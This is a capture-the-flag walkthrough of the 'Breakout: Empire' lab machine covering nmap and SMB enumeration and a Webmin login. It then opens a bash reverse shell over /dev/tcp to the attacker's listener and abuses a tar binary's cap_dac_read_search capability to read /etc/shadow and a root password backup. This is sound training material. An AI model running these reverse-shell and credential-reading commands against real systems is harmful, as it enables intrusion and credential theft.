Breakout: Empire Lab

```
Interface: eth0, type: EN10MB, MAC: 00:0c:29:3b:a3:42, IPv4: 192.168.174.128
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.174.2 00:50:56:e8:1c:61 VMware, Inc.
192.168.174.1 00:50:56:c0:00:08 VMware, Inc.
192.168.174.130 00:0c:29:26:73:a1 VMware, Inc.
192.168.174.254 00:50:56:ea:fd:12 VMware, Inc.
```

Target = 192.168.174.130

NMAP Scan

Information Gathering and Disclosure

Exploitation

Conclusion

NMAP Scan

nmap -T4 -A -p- 192.168.174.130

1 🗆

Starting Nmap 7.92 (https://nmap.org) at 2022-02-01 16:49 EST

Nmap scan report for 192.168.174.130

Host is up (0.0011s latency).

Not shown: 65530 closed tcp ports (reset)

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.51 ((Debian))

|_http-server-header: Apache/2.4.51 (Debian)

|_http-title: Apache2 Debian Default Page: It works

139/tcp open netbios-ssn Samba smbd 4.6.2

445/tcp open netbios-ssn Samba smbd 4.6.2

10000/tcp open http MiniServ 1.981 (Webmin httpd)

|_http-title: 200 — Document follows

20000/tcp open http MiniServ 1.830 (Webmin httpd)

|_http-title: 200 — Document follows MAC Address: 00:0C:29:26:73:A1 (VMware)

Device type: general purpose

Running: Linux 4.X|5.X

OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5

OS details: Linux 4.15 - 5.6 Network Distance: 1 hop

Host script results:

| smb2-security-mode:

3.1.1:

| Message signing enabled but not required

| smb2-time:

| date: 2022-02-01T21:50:12

_ start_date: N/A

| nbstat: NetBIOS name: BREAKOUT, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

TRACEROUTE


HOP RTT ADDRESS

1 1.09 ms 192.168.174.130

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/.


Nmap done: 1 IP address (1 host up) scanned in 49.83 seconds

Information Gathering and Disclosure




Apache Default Webpage Version - 2.4.51 httpd (Debian) (poor hygiene)


Viewing the page source on this default page I noticed that you could keep scrolling down. Normally it would end when the code ends, but I was able to keep scrolling down and I found this. Some encrypted text, I am going to attempt to decrypt this.



I copied the encrypted messaged and just put it into a google search to see what it is because I have never seen this and I got this

result.





ecoded - > CENSORED | Looks like a password, will save this for later.


Taking a look at the web apps

From the NMAP scans I saw that these two ports were open and running a web app with two different versions 10000/tcp open http MiniServ 1.981 (Webmin httpd)


What is Webmin?

Usermin is a web-based interface for webmail, password changing, mail filters, fetchmail and much more. It is designed for use by regular non-root users on a Unix system, and limits them to tasks that they would be able to perform if logged in via SSH or at the console. See the standard modules page for a list of all the functions built into Usermin.

Navigating to this URL It takes me from an HTTP page (*Error — Document follows - This web server is running in SSL mode . Try the URL https://192.168.174.130:20000/ instead*) and redirects me to this log in page that is in HTTPS (SSL). Same thing happens for https://192.168.174.130:10000. I visited the 20000 port first because it is running an earlier version of Webmin.



Warning page I receive when I attempt to proceed to the redirected HTTPs page.




This web server has two log in pages at port 10000 and port 20000.

Two different versions of Webmin are being run

From a google search I found "According to the Webmin team, all versions between 1.882 to 1.921 downloaded from Sourceforge contained the malicious backdoor code."

I will begin with 192.168.174.130:20000 since it is running an earlier version of Webmin.




Through a google search I found this page /password_change.cgi

SMB

From the nmap scan SMB is open on both ports 139 and 445 | Samba smbd 4.6.2

```
nmap -sC -p139,445 -sV 192.168.174.130
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-02 16:41 EST
Nmap scan report for 192.168.174.130
Host is up (0.00080s latency).
        STATE SERVICE
PORT
                            VERSION
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
MAC Address: 00:0C:29:26:73:A1 (VMware)
Host script results:
  smb2-security-mode:
    3.1.1:
 _ Message signing enabled but not required
_nbstat: NetBIOS name: BREAKOUT, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
  smb2-time:
    date: 2022-02-02T21:42:11
    start_date: N/A
```





I attempted to manually see if I could access SMB.

On smb://192.168.174.130:139 - it failed

On smb://192.168.174.130:445 - I got in and there was nothing there or not shown | Windows share

```
)-[/home/kali]
  nmap -p139 --script smb-protocols 192.168.174.130
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-02 16:52 EST
Nmap scan report for 192.168.174.130
Host is up (0.00076s latency).
PORT
       STATE SERVICE
139/tcp open netbios-ssn
MAC Address: 00:0C:29:26:73:A1 (VMware)
Host script results:
 smb-protocols:
    dialects:
     2.0.2
     2.1
     3.0
     3.0.2
     3.1.1
Nmap done: 1 IP address (1 host up) scanned in 0.97 seconds
  Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-02 16:52 EST
Nmap scan report for 192.168.174.130
Host is up (0.00068s latency).
PORT
       STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:0C:29:26:73:A1 (VMware)
Host script results:
  smb-protocols:
    dialects:
     2.0.2
     2.1
     3.0
     3.0.2
     3.1.1
```

```
      (kali⊗ kali) - [~]

      $ nbtscan 192.168.174.130

      Doing NBT name scan for addresses from 192.168.174.130

      IP address
      NetBIOS Name
      Server
      User
      MAC address

      192.168.174.130
      BREAKOUT
      <server>
      BREAKOUT
      00:00:00:00:00:00
```

nbtscan scans networks for NetBios name information.

Googling and searching ways of enumerating SMB I came across a tool called enum4linux. It enumerates information for Windows and Samba systems. This tool gathers a lot of information and I quite like it, I think this a tool that I will using quite a bit.

```
(Kal155 Kal1)-[~]
-$ enum4linux -a 192.168.174.130
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed
b 2 17:13:09 2022
Target Information |
Target ...... 192.168.174.130
RID Range ...... 500-550,1000-1050
Username ......'
Password .....
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
______
   Enumerating Workgroup/Domain on 192.168.174.130
______
+] Got domain/workgroup name: WORKGROUP
______
   Nbtstat Information for 192.168.174.130
______
ooking up status of 192.168.174.130
      BREAKOUT
                <00> -
                             B <ACTIVE> Workstation Service
                             B <ACTIVE> Messenger Service
                  <03> -
      BREAKOUT
                 <20> -
                             B <ACTIVE> File Server Service
      BREAKOUT
         MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser
     WORKGROUP
                 <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
                 <1d> -
      WORKGROUP
                              B <ACTIVE> Master Browser
      WORKGROUP
                 <le> - <GROUP> B <ACTIVE> Browser Service Elections
     MAC Address = 00-00-00-00-00
```

```
smb
File Actions Edit View Help
                            kali@kali: ~ ×
                                          smb ×
nmap ×
         gobuster ×
                     msf ×
S-1-22-1-1000 Unix User\cyber (Local User)
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
S-1-5-32-500 *unknown* *unknown* (8)
S-1-5-32-501 *unknown*\*unknown* (8)
S-1-5-32-502 *unknown*\*unknown* (8)
S-1-5-32-503 *unknown*\*unknown* (8)
S-1-5-32-504 *unknown*\*unknown* (8)
S-1-5-32-505 *unknown*\*unknown* (8)
S-1-5-32-506 *unknown*\*unknown* (8)
S-1-5-32-507 *unknown*\*unknown* (8)
S-1-5-32-508 *unknown*\*unknown* (8)
S-1-5-32-509 *unknown*\*unknown* (8)
S-1-5-32-510 *unknown*\*unknown* (8)
S-1-5-32-511 *unknown*\*unknown* (8)
S-1-5-32-512 *unknown*\*unknown*
                                 (8)
S-1-5-32-513 *unknown*\*unknown*
                                 (8)
S-1-5-32-514 *unknown*\*unknown*
                                  (8)
S-1-5-32-515 *unknown*\*unknown*
                                  (8)
S-1-5-32-516 *unknown*\*unknown*
S-1-5-32-517 *unknown*\*unknown*
S-1-5-32-518 *unknown*\*unknown*
S-1-5-32-519 *unknown*\*unknown*
S-1-5-32-520 *unknown*\*unknown*
                                  (8)
S-1-5-32-521 *unknown*\*unknown*
                                  (8)
S-1-5-32-522 *unknown*\*unknown*
                                  (8)
S-1-5-32-523 *unknown*\*unknown*
                                  (8)
S-1-5-32-524 *unknown*\*unknown*
                                  (8)
S-1-5-32-525 *unknown*\*unknown*
                                  (8)
S-1-5-32-526 *unknown*\*unknown*
                                  (8)
S-1-5-32-527 *unknown*\*unknown*
                                  (8)
S-1-5-32-528 *unknown*\*unknown*
                                  (8)
S-1-5-32-529 *unknown*\*unknown*
                                  (8)
S-1-5-32-530 *unknown*\*unknown*
                                  (8)
S-1-5-32-531 *unknown*\*unknown*
                                  (8)
S-1-5-32-532 *unknown*\*unknown*
                                  (8)
S-1-5-32-533 *unknown*\*unknown* (8)
S-1-5-32-534 *unknown*\*unknown* (8)
S-1-5-32-535 *unknown*\*unknown* (8)
S-1-5-32-536 *unknown*\*unknown* (8)
S-1-5-32-537 *unknown*\*unknown* (8)
S-1-5-32-538 *unknown*\*unknown* (8)
S-1-5-32-539 *unknown*\*unknown* (8)
S-1-5-32-540 *unknown*\*unknown* (8)
S-1-5-32-541 *unknown*\*unknown* (8)
S-1-5-32-542 *unknown*\*unknown*
                                 (8)
S-1-5-32-543 *unknown*\*unknown* (8)
S-1-5-32-544 BUILTIN\Administrators (Local Group)
```

```
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)
```

This is information that stuck out to me and caught my eye, most especially in the second screen shot above (2/3) there is a local user - cyber.

So I have a local user named cyber, maybe I can try to log in somewhere? What comes to mind are those log in pages from earlier.

What also comes to mind is the decrypted message I got earlier from the Apache default webpage \rightarrow view source \rightarrow CENSOREDPASSWORD


I already tried default/common credentials on both log in pages with no success.

https://192.168.174.130:10000


https://192.168.174.130:20000

I tried user: cyber | password: CENSOREDPASSWORD on https://192.168.174.130:10000 and login failed


I went to https://192.168.174.130:20000 next and got a successful log in.




Going to go through this and see what I can find.



Account information page



Under applications you can upload and download files.



It at the very bottom there is something even more interesting, a command line, shell access from this local user. Time for verse shell.	· a

Exploitation

I am going to begin exploiting though the local users command line interface.

```
[cyber@breakout ~]$ whoami
cyber
[cyber@breakout ~]$ id
uid=1000(cyber) gid=1000(cyber) groups=1000(cyber),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
[cyber@breakout ~]$
```

Set up a listener

```
nc -nvlp 4444
```

Host a webserver in the directory where my reverse shell script is in

```
(kali@ kali) - [~/exploits]
s ls
reverseshell.pl webmin.sh

(kali@ kali) - [~/exploits]
s python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

Reverse shell with bash

```
[cyber@breakout ~]$ sh -i >& /dev/tcp/192.168.174.128/4444 0>&1
```

```
listening on [any] 4444 ...
connect to [192.168.174.128] from (UNKNOWN) [192.168.174.130] 47516
sh: 0: can't access tty; job control turned off
$ whoami
cyber
$ id
uid=1000(cyber) gid=1000(cyber) groups=1000(cyber),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
$ \Boxed{\textbf{\substack}}
```

```
$ ls
tar
user.txt
$ pwd
/home/cyber
$ file tar
tar:
ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Bui
ldID[sha1]=727740cc46ed2e44f47dfff7bad5dc3fdb1249cb, for GNU/Linux 3.2.0, stripped
$ cat user.txt
3mp!r3{You_Manage_To_Break_To_My_Secure_Access}
$ ■
```

```
$ file tar
tar: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=727740cc46ed2e44f47dfff7bad5dc3fdb1
249cb, for GNU/Linux 3.2.0, stripped
$ getcap tar
tar cap_dac_read_search=ep
$
```

Root directory

```
total 68
lrwxrwxrwx
             1 root root
                             7 Oct 19 08:08 bin -> usr/bin
             3 root root
                          4096 Oct 19 08:24 boot
drwxr-xr-x
            17 root root
                          3180 Feb
                                    1 16:46 dev
drwxr-xr-x
drwxr-xr-x
           73 root root
                         4096 Feb 5 02:19 etc
                         4096 Oct 19 08:24 home
drwxr-xr-x
            3 root root
             1 root root
                            30 Oct 19 08:19 initrd.img -> boot/initrd.img-5.10.0-9-amd64
lrwxrwxrwx
                            30 Oct 19 08:19 initrd.img.old -> boot/initrd.img-5.10.0-8-amd64
lrwxrwxrwx
             1 root root
                             7 Oct 19 08:08 lib -> usr/lib
             1 root root
lrwxrwxrwx
                             9 Oct 19 08:08 lib32 -> usr/lib32
lrwxrwxrwx
             1 root root
                            9 Oct 19
             1 root root
                                      08:08 lib64 -> usr/lib64
lrwxrwxrwx
                            10 Oct
                                   19
                                      08:08
                                            libx32 -> usr/libx32
lrwxrwxrwx
             1 root root
                   root 16384 Oct
                                   19
drwx----
             2 root
                                      08:08 lost+found
            3 root root
                         4096 Oct 19 08:08 media
drwxr-xr-x
             2 root root
                         4096 Oct 19 08:08 mnt
drwxr-xr-x
           2 root root
drwxr-xr-x
                         4096 Oct 19 08:08 opt
dr-xr-xr-x 184 root root
                           0 Feb 1 16:45 proc
           6 root root
                          4096 Oct 20 07:53 root
drwx----
drwxr-xr-x 18 root root
                         500 Feb 2 16:18 run
                            8 Oct 19 08:08 sbin -> usr/sbin
lrwxrwxrwx 1 root root
             2 root root
                         4096 Oct 19 08:08 srv
drwxr-xr-x
dr-xr-xr-x
            13 root root
                            0 Feb
                                    1
                                      16:45 sys
dr-xr-xr-x 13 root root
drwxrwxrwt 12 root root
                         4096 Feb
                                    5
                                      01:27
                                            tmp
                          851 Oct 19 13:51
-rw-r--r--
             1 root
                   root
                                            usermin-setup.out
                         4096 Oct 19 08:08 usr
drwxr-xr-x
            14 root root
           14 root root
                         4096 Oct 19 13:48 var
drwxr-xr-x
                            27 Oct 19 08:19 vmlinuz -> boot/vmlinuz-5.10.0-9-amd64
            1 root root
lrwxrwxrwx
                            27 Oct 19 08:19 vmlinuz.old -> boot/vmlinuz-5.10.0-8-amd64
lrwxrwxrwx
             1 root root
                        2067 Oct 19 13:48 webmin-setup.out
-rw-r--r--
            1 root root
```

I had to google around to see what I can do from here and the first two searches of 'cap_dac_read_search=ep' are about privilege escalation.

Instead of doing it the way I did you can do a recursive search through the whole system with the following command

```
getcap -r / 2>/dev/null
```

Flags

- -r stands for recursive search
- / search the whole system

tar is a binary, use getcap to display capabilities of this binary file.

https://nxnjz.net/2018/08/an-interesting-privilege-escalation-vector-getcap/

https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/

To sum up 'cap_dac_read_search', tar has read access to anything, we can read stuff that requires root access.

etc/shadow

```
./tar -cvf shadow.tar /etc/shadow
```

./tar: Removing leading \text{'' from member names /etc/shadow

```
./tar -xvf shadow.tar
```

```
cat etc/shadow
```

Exploitation

```
$ ls
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usermin-setup.out
usr
var
vmlinuz
vmlinuz.old
webmin-setup.out
```

```
cd var
$ ls
backups
cache
lib
local
lock
log
mail
opt
run
spool
tmp
usermin
webmin
WWW
```

From root directory to /var to see if there are any logs, what caught my attention first is the backups directory.

```
$ cd backups
$ ls
apt.extended_states.0
$ file apt.extended_states.0
apt.extended_states.0: ASCII text
$ ls -a
.
.
apt.extended_states.0
.old_pass.bak
$ ]
```

```
$ ls -al
total 28
drwxr-xr-x 2 root root 4096 Feb 1 17:36 .
drwxr-xr-x 14 root root 4096 Oct 19 13:48 ..
-rw-r--r-- 1 root root 12732 Oct 19 15:56 apt.extended_states.0
-rw----- 1 root root 17 Oct 20 07:49 .old_pass.bak
$ ■
```

.old_pass.bak? Can't read, need root access, I am going to privilege escalation capability discovered earlier.

```
$ cd home/cyber
$ ./tar -cf bak.tar /var/backups/.old_pass.bak
./tar: Removing leading `/' from member names
$ tar -xf bak.tar
$ cat var/backups/.old_pass.bak

$ [
```

Got the password

```
$ su -l
Password: (Caracing Continuous)
whoami
root
pwd
/root
```



Conclusion

This was a fun machine for sure. It was labeled as easy and it was, but it had somethings that caught me by surprise and honestly taught me a lot. I got stuck once I did the reverse shell on the local user. I was searching around trying to see what was vulnerable and what I could do. I tried to download linpeas into the local host but I was getting connection failed with wget and I couldn't use curl. Thinking about it now as I write this, I think there was another way I could've done it. Either way, through some extensive google searching and such I discovered the getcap privilege escalation vulnerability for Linux and took good notes on that. Overall, a very fun machine and I can't wait to get started on the next.